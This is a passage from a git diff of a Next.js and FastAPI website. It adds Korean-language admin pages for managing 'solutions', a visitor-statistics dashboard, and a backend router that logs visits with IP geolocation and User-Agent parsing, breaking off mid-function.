|
||||
<label className="flex items-center justify-center py-3 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
|
||||
{isUploading ? (
|
||||
<Loader2 className="w-5 h-5 animate-spin text-[#3B82F6]" />
|
||||
) : (
|
||||
<>
|
||||
<Upload className="w-5 h-5 text-gray-400 mr-2" />
|
||||
<span className="text-sm text-gray-500">이미지 추가</span>
|
||||
</>
|
||||
)}
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, false)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{/* YouTube Videos */}
|
||||
<YouTubeVideoManager
|
||||
entityType="solution"
|
||||
entityId={solutionId}
|
||||
entityTitle={solution.title_ko}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
204
temp_solutions_list_page.tsx
Normal file
204
temp_solutions_list_page.tsx
Normal file
@@ -0,0 +1,204 @@
|
||||
"use client";
|
||||
|
||||
import { useEffect, useState } from "react";
|
||||
import Link from "next/link";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { solutionsApi, SolutionAdmin, getUploadUrl } from "@/lib/api";
|
||||
import {
|
||||
Plus,
|
||||
Pencil,
|
||||
Trash2,
|
||||
Eye,
|
||||
EyeOff,
|
||||
Loader2,
|
||||
Image as ImageIcon,
|
||||
} from "lucide-react";
|
||||
|
||||
export default function SolutionsListPage() {
|
||||
const { token } = useAuth();
|
||||
const [solutions, setSolutions] = useState<SolutionAdmin[]>([]);
|
||||
const [isLoading, setIsLoading] = useState(true);
|
||||
|
||||
const fetchSolutions = async () => {
|
||||
if (!token) return;
|
||||
try {
|
||||
const data = await solutionsApi.adminGetAll(token);
|
||||
setSolutions(data);
|
||||
} catch (err) {
|
||||
console.error("Failed to fetch solutions:", err);
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
fetchSolutions();
|
||||
}, [token]);
|
||||
|
||||
const handleDelete = async (id: number) => {
|
||||
if (!token || !confirm("정말 삭제하시겠습니까?")) return;
|
||||
|
||||
try {
|
||||
await solutionsApi.adminDelete(id, token);
|
||||
setSolutions(solutions.filter((s) => s.id !== id));
|
||||
} catch (err) {
|
||||
alert("삭제에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
const toggleActive = async (solution: SolutionAdmin) => {
|
||||
if (!token) return;
|
||||
|
||||
try {
|
||||
await solutionsApi.adminUpdate(
|
||||
solution.id,
|
||||
{ is_active: !solution.is_active },
|
||||
token
|
||||
);
|
||||
setSolutions(
|
||||
solutions.map((s) =>
|
||||
s.id === solution.id ? { ...s, is_active: !s.is_active } : s
|
||||
)
|
||||
);
|
||||
} catch (err) {
|
||||
alert("상태 변경에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center h-64">
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center justify-between mb-8">
|
||||
<h1 className="text-2xl font-bold text-gray-900">솔루션 관리</h1>
|
||||
<Link
|
||||
href="/admin/solutions/new"
|
||||
className="flex items-center px-4 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors"
|
||||
>
|
||||
<Plus className="w-5 h-5 mr-2" />
|
||||
새 솔루션
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<table className="w-full">
|
||||
<thead className="bg-gray-50 border-b">
|
||||
<tr>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
이미지
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
솔루션명
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
아이콘
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
색상
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
순서
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
상태
|
||||
</th>
|
||||
<th className="px-6 py-4 text-right text-sm font-medium text-gray-500">
|
||||
관리
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="divide-y">
|
||||
{solutions.length === 0 ? (
|
||||
<tr>
|
||||
<td colSpan={7} className="px-6 py-12 text-center text-gray-500">
|
||||
등록된 솔루션이 없습니다.
|
||||
</td>
|
||||
</tr>
|
||||
) : (
|
||||
solutions.map((solution) => (
|
||||
<tr key={solution.id} className="hover:bg-gray-50">
|
||||
<td className="px-6 py-4">
|
||||
{solution.main_image ? (
|
||||
<img
|
||||
src={getUploadUrl(solution.main_image)}
|
||||
alt={solution.title_ko}
|
||||
className="w-16 h-12 object-cover rounded"
|
||||
/>
|
||||
) : (
|
||||
<div className="w-16 h-12 bg-gray-100 rounded flex items-center justify-center">
|
||||
<ImageIcon className="w-5 h-5 text-gray-400" />
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<div className="font-medium text-gray-900">
|
||||
{solution.title_ko}
|
||||
</div>
|
||||
{solution.title_en && (
|
||||
<div className="text-sm text-gray-500">
|
||||
{solution.title_en}
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{solution.icon || "-"}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{solution.color || "-"}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{solution.display_order}
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<button
|
||||
onClick={() => toggleActive(solution)}
|
||||
className={`flex items-center px-3 py-1 rounded-full text-xs font-medium ${
|
||||
solution.is_active
|
||||
? "bg-green-100 text-green-700"
|
||||
: "bg-gray-100 text-gray-500"
|
||||
}`}
|
||||
>
|
||||
{solution.is_active ? (
|
||||
<>
|
||||
<Eye className="w-3 h-3 mr-1" />
|
||||
표시
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<EyeOff className="w-3 h-3 mr-1" />
|
||||
숨김
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<div className="flex items-center justify-end space-x-2">
|
||||
<Link
|
||||
href={`/admin/solutions/${solution.id}`}
|
||||
className="p-2 text-gray-400 hover:text-[#3B82F6] transition-colors"
|
||||
>
|
||||
<Pencil className="w-5 h-5" />
|
||||
</Link>
|
||||
<button
|
||||
onClick={() => handleDelete(solution.id)}
|
||||
className="p-2 text-gray-400 hover:text-red-500 transition-colors"
|
||||
>
|
||||
<Trash2 className="w-5 h-5" />
|
||||
</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))
|
||||
)}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
34
temp_solutions_new_page.tsx
Normal file
34
temp_solutions_new_page.tsx
Normal file
@@ -0,0 +1,34 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { solutionsApi } from "@/lib/api";
|
||||
import SolutionForm from "@/components/admin/SolutionForm";
|
||||
|
||||
export default function NewSolutionPage() {
|
||||
const { token } = useAuth();
|
||||
const router = useRouter();
|
||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||
|
||||
const handleSubmit = async (data: any) => {
|
||||
if (!token) return;
|
||||
setIsSubmitting(true);
|
||||
|
||||
try {
|
||||
const solution = await solutionsApi.adminCreate(data, token);
|
||||
router.push(`/admin/solutions/${solution.id}`);
|
||||
} catch (err) {
|
||||
alert("솔루션 생성에 실패했습니다.");
|
||||
} finally {
|
||||
setIsSubmitting(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-gray-900 mb-8">새 솔루션 등록</h1>
|
||||
<SolutionForm onSubmit={handleSubmit} isSubmitting={isSubmitting} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
424
temp_visitor_stats.tsx
Normal file
424
temp_visitor_stats.tsx
Normal file
@@ -0,0 +1,424 @@
|
||||
"use client";
|
||||
|
||||
import { useState, useEffect, useCallback } from "react";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import {
|
||||
visitorsApi,
|
||||
OverviewStats,
|
||||
ChartData,
|
||||
BreakdownData,
|
||||
TopPagesData,
|
||||
TopReferrersData,
|
||||
RealtimeStats,
|
||||
CountryStats,
|
||||
} from "@/lib/api";
|
||||
import {
|
||||
Users,
|
||||
Globe,
|
||||
Monitor,
|
||||
Smartphone,
|
||||
Tablet,
|
||||
TrendingUp,
|
||||
TrendingDown,
|
||||
RefreshCw,
|
||||
BarChart3,
|
||||
Activity,
|
||||
} from "lucide-react";
|
||||
|
||||
export default function VisitorStatsPage() {
|
||||
const { user, token } = useAuth();
|
||||
const [days, setDays] = useState(30);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [overview, setOverview] = useState<OverviewStats | null>(null);
|
||||
const [visitsChart, setVisitsChart] = useState<ChartData | null>(null);
|
||||
const [uniqueChart, setUniqueChart] = useState<ChartData | null>(null);
|
||||
const [deviceBreakdown, setDeviceBreakdown] = useState<BreakdownData | null>(null);
|
||||
const [browserBreakdown, setBrowserBreakdown] = useState<BreakdownData | null>(null);
|
||||
const [osBreakdown, setOsBreakdown] = useState<BreakdownData | null>(null);
|
||||
const [topPages, setTopPages] = useState<TopPagesData | null>(null);
|
||||
const [topReferrers, setTopReferrers] = useState<TopReferrersData | null>(null);
|
||||
const [realtime, setRealtime] = useState<RealtimeStats | null>(null);
|
||||
const [countryStats, setCountryStats] = useState<CountryStats[]>([]);
|
||||
|
||||
const fetchData = useCallback(async () => {
|
||||
if (!token) return;
|
||||
setLoading(true);
|
||||
try {
|
||||
const [
|
||||
overviewRes,
|
||||
visitsRes,
|
||||
uniqueRes,
|
||||
deviceRes,
|
||||
browserRes,
|
||||
osRes,
|
||||
pagesRes,
|
||||
referrersRes,
|
||||
realtimeRes,
|
||||
countryRes,
|
||||
] = await Promise.all([
|
||||
visitorsApi.adminGetOverview(token, days),
|
||||
visitorsApi.adminGetVisitsChart(token, days),
|
||||
visitorsApi.adminGetUniqueChart(token, days),
|
||||
visitorsApi.adminGetDeviceBreakdown(token, days),
|
||||
visitorsApi.adminGetBrowserBreakdown(token, days),
|
||||
visitorsApi.adminGetOsBreakdown(token, days),
|
||||
visitorsApi.adminGetTopPages(token, days),
|
||||
visitorsApi.adminGetTopReferrers(token, days),
|
||||
visitorsApi.adminGetRealtime(token),
|
||||
visitorsApi.adminGetCountryStats(token),
|
||||
]);
|
||||
|
||||
setOverview(overviewRes);
|
||||
setVisitsChart(visitsRes);
|
||||
setUniqueChart(uniqueRes);
|
||||
setDeviceBreakdown(deviceRes);
|
||||
setBrowserBreakdown(browserRes);
|
||||
setOsBreakdown(osRes);
|
||||
setTopPages(pagesRes);
|
||||
setTopReferrers(referrersRes);
|
||||
setRealtime(realtimeRes);
|
||||
setCountryStats(countryRes);
|
||||
} catch (error) {
|
||||
console.error("Failed to fetch stats:", error);
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, [token, days]);
|
||||
|
||||
useEffect(() => {
|
||||
fetchData();
|
||||
}, [fetchData]);
|
||||
|
||||
// Auto-refresh realtime stats every 30 seconds
|
||||
useEffect(() => {
|
||||
if (!token) return;
|
||||
const interval = setInterval(async () => {
|
||||
try {
|
||||
const realtimeRes = await visitorsApi.adminGetRealtime(token);
|
||||
setRealtime(realtimeRes);
|
||||
} catch (error) {
|
||||
console.error("Failed to refresh realtime:", error);
|
||||
}
|
||||
}, 30000);
|
||||
return () => clearInterval(interval);
|
||||
}, [token]);
|
||||
|
||||
if (!user?.is_admin) {
|
||||
return (
|
||||
<div className="p-6 text-center text-red-500">
|
||||
Access denied. Admin only.
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const getCountryFlag = (countryCode: string) => {
|
||||
const flags: Record<string, string> = {
|
||||
KR: "🇰🇷", US: "🇺🇸", JP: "🇯🇵", CN: "🇨🇳", DE: "🇩🇪",
|
||||
GB: "🇬🇧", FR: "🇫🇷", CA: "🇨🇦", AU: "🇦🇺", IN: "🇮🇳",
|
||||
RU: "🇷🇺", BR: "🇧🇷", MX: "🇲🇽", ES: "🇪🇸", IT: "🇮🇹",
|
||||
LO: "🏠", "??": "🌍",
|
||||
};
|
||||
return flags[countryCode] || "🌍";
|
||||
};
|
||||
|
||||
const getDeviceIcon = (deviceType: string) => {
|
||||
switch (deviceType.toLowerCase()) {
|
||||
case "mobile": return <Smartphone className="w-4 h-4" />;
|
||||
case "tablet": return <Tablet className="w-4 h-4" />;
|
||||
default: return <Monitor className="w-4 h-4" />;
|
||||
}
|
||||
};
|
||||
|
||||
// Simple bar chart component
|
||||
const BarChart = ({ data, labels, color = "bg-blue-500" }: { data: number[], labels: string[], color?: string }) => {
|
||||
const max = Math.max(...data, 1);
|
||||
return (
|
||||
<div className="flex items-end gap-1 h-40">
|
||||
{data.map((value, index) => (
|
||||
<div key={index} className="flex-1 flex flex-col items-center gap-1">
|
||||
<div
|
||||
className={`w-full ${color} rounded-t transition-all`}
|
||||
style={{ height: `${(value / max) * 100}%`, minHeight: value > 0 ? "4px" : "0" }}
|
||||
title={`${labels[index]}: ${value}`}
|
||||
/>
|
||||
{data.length <= 14 && (
|
||||
<span className="text-xs text-gray-500 -rotate-45 origin-top-left whitespace-nowrap">
|
||||
{labels[index]}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
// Progress bar component
|
||||
const ProgressBar = ({ percentage, color = "bg-blue-500" }: { percentage: number, color?: string }) => (
|
||||
<div className="w-full bg-gray-200 rounded-full h-2.5">
|
||||
<div className={`h-2.5 rounded-full ${color}`} style={{ width: `${percentage}%` }} />
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="p-6 space-y-6">
|
||||
{/* Header */}
|
||||
<div className="flex justify-between items-center">
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-gray-900">Visitor Statistics</h1>
|
||||
<p className="text-gray-500">Detailed analytics for your website</p>
|
||||
</div>
|
||||
<div className="flex items-center gap-4">
|
||||
{/* Period selector */}
|
||||
<div className="flex bg-gray-100 rounded-lg p-1">
|
||||
{[7, 14, 30, 90].map((d) => (
|
||||
<button
|
||||
key={d}
|
||||
onClick={() => setDays(d)}
|
||||
className={`px-3 py-1 rounded-md text-sm font-medium transition ${
|
||||
days === d
|
||||
? "bg-white text-blue-600 shadow"
|
||||
: "text-gray-600 hover:text-gray-900"
|
||||
}`}
|
||||
>
|
||||
{d}d
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{/* Realtime indicator */}
|
||||
<div className="flex items-center gap-2 bg-green-50 text-green-700 px-3 py-1 rounded-full">
|
||||
<Activity className="w-4 h-4 animate-pulse" />
|
||||
<span className="text-sm font-medium">
|
||||
{realtime?.active_visitors || 0} active
|
||||
</span>
|
||||
</div>
|
||||
{/* Refresh button */}
|
||||
<button
|
||||
onClick={fetchData}
|
||||
disabled={loading}
|
||||
className="p-2 rounded-lg hover:bg-gray-100 transition"
|
||||
>
|
||||
<RefreshCw className={`w-5 h-5 text-gray-600 ${loading ? "animate-spin" : ""}`} />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Overview Cards */}
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-sm text-gray-500">Total Visits</p>
|
||||
<p className="text-3xl font-bold text-gray-900">
|
||||
{overview?.total_visits?.toLocaleString() || 0}
|
||||
</p>
|
||||
</div>
|
||||
<div className="p-3 bg-blue-100 rounded-full">
|
||||
<BarChart3 className="w-6 h-6 text-blue-600" />
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-sm text-gray-500 mt-2">Last {days} days</p>
|
||||
</div>
|
||||
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-sm text-gray-500">Unique Visitors</p>
|
||||
<p className="text-3xl font-bold text-gray-900">
|
||||
{overview?.unique_visitors?.toLocaleString() || 0}
|
||||
</p>
|
||||
</div>
|
||||
<div className="p-3 bg-green-100 rounded-full">
|
||||
<Users className="w-6 h-6 text-green-600" />
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-sm text-gray-500 mt-2">
|
||||
{overview?.pages_per_visit || 0} pages/visit
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-sm text-gray-500">Today</p>
|
||||
<p className="text-3xl font-bold text-gray-900">
|
||||
{overview?.today_visitors || 0}
|
||||
</p>
|
||||
</div>
|
||||
<div className={`p-3 rounded-full ${
|
||||
(overview?.growth_rate || 0) >= 0 ? "bg-green-100" : "bg-red-100"
|
||||
}`}>
|
||||
{(overview?.growth_rate || 0) >= 0 ? (
|
||||
<TrendingUp className="w-6 h-6 text-green-600" />
|
||||
) : (
|
||||
<TrendingDown className="w-6 h-6 text-red-600" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<p className={`text-sm mt-2 ${
|
||||
(overview?.growth_rate || 0) >= 0 ? "text-green-600" : "text-red-600"
|
||||
}`}>
|
||||
{(overview?.growth_rate || 0) >= 0 ? "+" : ""}{overview?.growth_rate || 0}% vs yesterday
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-sm text-gray-500">Mobile</p>
|
||||
<p className="text-3xl font-bold text-gray-900">
|
||||
{overview?.mobile_percentage || 0}%
|
||||
</p>
|
||||
</div>
|
||||
<div className="p-3 bg-purple-100 rounded-full">
|
||||
<Smartphone className="w-6 h-6 text-purple-600" />
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-sm text-gray-500 mt-2">of all visitors</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Charts Row */}
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
|
||||
{/* Daily Visits Chart */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Daily Visits</h3>
|
||||
{visitsChart && (
|
||||
<BarChart data={visitsChart.data} labels={visitsChart.labels} color="bg-blue-500" />
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Unique Visitors Chart */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Unique Visitors</h3>
|
||||
{uniqueChart && (
|
||||
<BarChart data={uniqueChart.data} labels={uniqueChart.labels} color="bg-green-500" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Country Stats */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4 flex items-center gap-2">
|
||||
<Globe className="w-5 h-5" />
|
||||
Visitors by Country
|
||||
</h3>
|
||||
<div className="space-y-3">
|
||||
{countryStats.map((stat, index) => {
|
||||
const total = countryStats.reduce((sum, s) => sum + s.visitor_count, 0);
|
||||
const percentage = total > 0 ? (stat.visitor_count / total) * 100 : 0;
|
||||
return (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
<span className="text-xl">{getCountryFlag(stat.country_code)}</span>
|
||||
<span className="w-32 font-medium text-gray-700">{stat.country}</span>
|
||||
<div className="flex-1">
|
||||
<ProgressBar percentage={percentage} color="bg-blue-500" />
|
||||
</div>
|
||||
<span className="w-16 text-right text-gray-600">
|
||||
{stat.visitor_count.toLocaleString()}
|
||||
</span>
|
||||
<span className="w-16 text-right text-gray-400">
|
||||
({percentage.toFixed(1)}%)
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
{countryStats.length === 0 && (
|
||||
<p className="text-gray-500 text-center py-4">No country data available</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Breakdowns Row */}
|
||||
<div className="grid grid-cols-1 md:grid-cols-3 gap-6">
|
||||
{/* Device Breakdown */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Device Type</h3>
|
||||
<div className="space-y-3">
|
||||
{deviceBreakdown?.items.map((item, index) => (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
{getDeviceIcon(item.name)}
|
||||
<span className="flex-1 text-gray-700 capitalize">{item.name}</span>
|
||||
<span className="text-gray-600">{item.count}</span>
|
||||
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
|
||||
</div>
|
||||
))}
|
||||
{(!deviceBreakdown?.items || deviceBreakdown.items.length === 0) && (
|
||||
<p className="text-gray-500 text-center py-2">No data</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Browser Breakdown */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Browser</h3>
|
||||
<div className="space-y-3">
|
||||
{browserBreakdown?.items.map((item, index) => (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
<span className="flex-1 text-gray-700">{item.name}</span>
|
||||
<span className="text-gray-600">{item.count}</span>
|
||||
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
|
||||
</div>
|
||||
))}
|
||||
{(!browserBreakdown?.items || browserBreakdown.items.length === 0) && (
|
||||
<p className="text-gray-500 text-center py-2">No data</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* OS Breakdown */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Operating System</h3>
|
||||
<div className="space-y-3">
|
||||
{osBreakdown?.items.map((item, index) => (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
<span className="flex-1 text-gray-700">{item.name}</span>
|
||||
<span className="text-gray-600">{item.count}</span>
|
||||
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
|
||||
</div>
|
||||
))}
|
||||
{(!osBreakdown?.items || osBreakdown.items.length === 0) && (
|
||||
<p className="text-gray-500 text-center py-2">No data</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Top Pages & Referrers */}
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
|
||||
{/* Top Pages */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Top Pages</h3>
|
||||
<div className="space-y-3">
|
||||
{topPages?.pages.map((page, index) => (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
<span className="w-6 text-gray-400">{index + 1}.</span>
|
||||
<span className="flex-1 text-gray-700 truncate font-mono text-sm">{page.path}</span>
|
||||
<span className="text-gray-600">{page.count}</span>
|
||||
</div>
|
||||
))}
|
||||
{(!topPages?.pages || topPages.pages.length === 0) && (
|
||||
<p className="text-gray-500 text-center py-4">No page data available</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Top Referrers */}
|
||||
<div className="bg-white rounded-xl shadow p-6">
|
||||
<h3 className="text-lg font-semibold text-gray-900 mb-4">Top Referrers</h3>
|
||||
<div className="space-y-3">
|
||||
{topReferrers?.referrers.map((ref, index) => (
|
||||
<div key={index} className="flex items-center gap-3">
|
||||
<span className="w-6 text-gray-400">{index + 1}.</span>
|
||||
<span className="flex-1 text-gray-700 truncate">{ref.domain}</span>
|
||||
<span className="text-gray-600">{ref.count}</span>
|
||||
</div>
|
||||
))}
|
||||
{(!topReferrers?.referrers || topReferrers.referrers.length === 0) && (
|
||||
<p className="text-gray-500 text-center py-4">No referrer data available</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
461
temp_visitors.py
Normal file
461
temp_visitors.py
Normal file
@@ -0,0 +1,461 @@
|
||||
from fastapi import APIRouter, Depends, Request, Query
|
||||
from sqlalchemy.orm import Session
|
||||
from sqlalchemy import func, desc
|
||||
from datetime import date, datetime, timedelta
|
||||
from typing import Optional, List
|
||||
import httpx
|
||||
import re
|
||||
from app.core.database import get_db
|
||||
from app.models.visitor import DailyVisitor, VisitorLog, VisitorDailyStats
|
||||
from app.schemas.visitor import (
|
||||
VisitorStatsResponse, CountryStatsResponse,
|
||||
OverviewStatsResponse, ChartDataResponse, BreakdownResponse, BreakdownItem,
|
||||
TopPagesResponse, TopPageItem, TopReferrersResponse, TopReferrerItem,
|
||||
RealtimeStatsResponse
|
||||
)
|
||||
from app.api.auth import get_current_admin
|
||||
|
||||
router = APIRouter(prefix="/visitors", tags=["visitors"])
|
||||
|
||||
|
||||
def get_ip_location(ip_address: str) -> dict:
|
||||
"""Get location info from IP address using ip-api.com (free, no API key)"""
|
||||
if ip_address in ("127.0.0.1", "localhost", "unknown") or ip_address.startswith(("192.168.", "10.", "172.")):
|
||||
return {"country": "Local", "country_code": "LO", "city": "Local", "region": "Local"}
|
||||
|
||||
try:
|
||||
with httpx.Client(timeout=3.0) as client:
|
||||
response = client.get(f"http://ip-api.com/json/{ip_address}?fields=status,country,countryCode,city,regionName")
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
if data.get("status") == "success":
|
||||
return {
|
||||
"country": data.get("country", "Unknown"),
|
||||
"country_code": data.get("countryCode", "??"),
|
||||
"city": data.get("city", "Unknown"),
|
||||
"region": data.get("regionName", "Unknown")
|
||||
}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {"country": "Unknown", "country_code": "??", "city": "Unknown", "region": "Unknown"}
|
||||
|
||||
|
||||
def get_client_ip(request: Request) -> str:
|
||||
"""Get client IP address from request"""
|
||||
forwarded = request.headers.get("X-Forwarded-For")
|
||||
if forwarded:
|
||||
return forwarded.split(",")[0].strip()
|
||||
return request.client.host if request.client else "unknown"
|
||||
|
||||
|
||||
def parse_user_agent(user_agent: str) -> dict:
|
||||
"""Parse User-Agent string to extract device, browser, and OS info"""
|
||||
result = {"device_type": "desktop", "browser": "Unknown", "os": "Unknown"}
|
||||
|
||||
if not user_agent:
|
||||
return result
|
||||
|
||||
ua_lower = user_agent.lower()
|
||||
|
||||
# Detect device type
|
||||
if any(x in ua_lower for x in ["mobile", "android", "iphone", "ipod"]):
|
||||
result["device_type"] = "mobile"
|
||||
elif any(x in ua_lower for x in ["ipad", "tablet"]):
|
||||
result["device_type"] = "tablet"
|
||||
|
||||
# Detect browser
|
||||
if "edg" in ua_lower:
|
||||
result["browser"] = "Edge"
|
||||
elif "chrome" in ua_lower and "chromium" not in ua_lower:
|
||||
result["browser"] = "Chrome"
|
||||
elif "safari" in ua_lower and "chrome" not in ua_lower:
|
||||
result["browser"] = "Safari"
|
||||
elif "firefox" in ua_lower:
|
||||
result["browser"] = "Firefox"
|
||||
elif "opera" in ua_lower or "opr" in ua_lower:
|
||||
result["browser"] = "Opera"
|
||||
elif "msie" in ua_lower or "trident" in ua_lower:
|
||||
result["browser"] = "Internet Explorer"
|
||||
|
||||
# Detect OS
|
||||
if "windows" in ua_lower:
|
||||
result["os"] = "Windows"
|
||||
elif "mac os" in ua_lower or "macintosh" in ua_lower:
|
||||
if "iphone" in ua_lower or "ipad" in ua_lower:
|
||||
result["os"] = "iOS"
|
||||
else:
|
||||
result["os"] = "macOS"
|
||||
elif "android" in ua_lower:
|
||||
result["os"] = "Android"
|
||||
elif "linux" in ua_lower:
|
||||
result["os"] = "Linux"
|
||||
elif "iphone" in ua_lower or "ipad" in ua_lower:
|
||||
result["os"] = "iOS"
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def extract_referrer_domain(referrer: str) -> str:
|
||||
"""Extract domain from referrer URL"""
|
||||
if not referrer:
|
||||
return "(direct)"
|
||||
try:
|
||||
match = re.search(r'https?://([^/]+)', referrer)
|
||||
if match:
|
||||
domain = match.group(1)
|
||||
if domain.startswith("www."):
|
||||
domain = domain[4:]
|
||||
return domain
|
||||
except Exception:
|
||||
pass
|
||||
return "(direct)"
|
||||
|
||||
|
||||
@router.post("/track")
|
||||
def track_visitor(
|
||||
request: Request,
|
||||
page_path: Optional[str] = None,
|
||||
referrer: Optional[str] = None,
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Track a visitor with extended info"""
|
||||
today = date.today()
|
||||
ip_address = get_client_ip(request)
|
||||
user_agent = request.headers.get("User-Agent", "")[:500]
|
||||
|
||||
existing_log = db.query(VisitorLog).filter(
|
||||
VisitorLog.ip_address == ip_address,
|
||||
VisitorLog.visit_date == today
|
||||
).first()
|
||||
|
||||
if existing_log:
|
||||
return {"message": "Already tracked", "new_visitor": False}
|
||||
|
||||
location = get_ip_location(ip_address)
|
||||
ua_info = parse_user_agent(user_agent)
|
||||
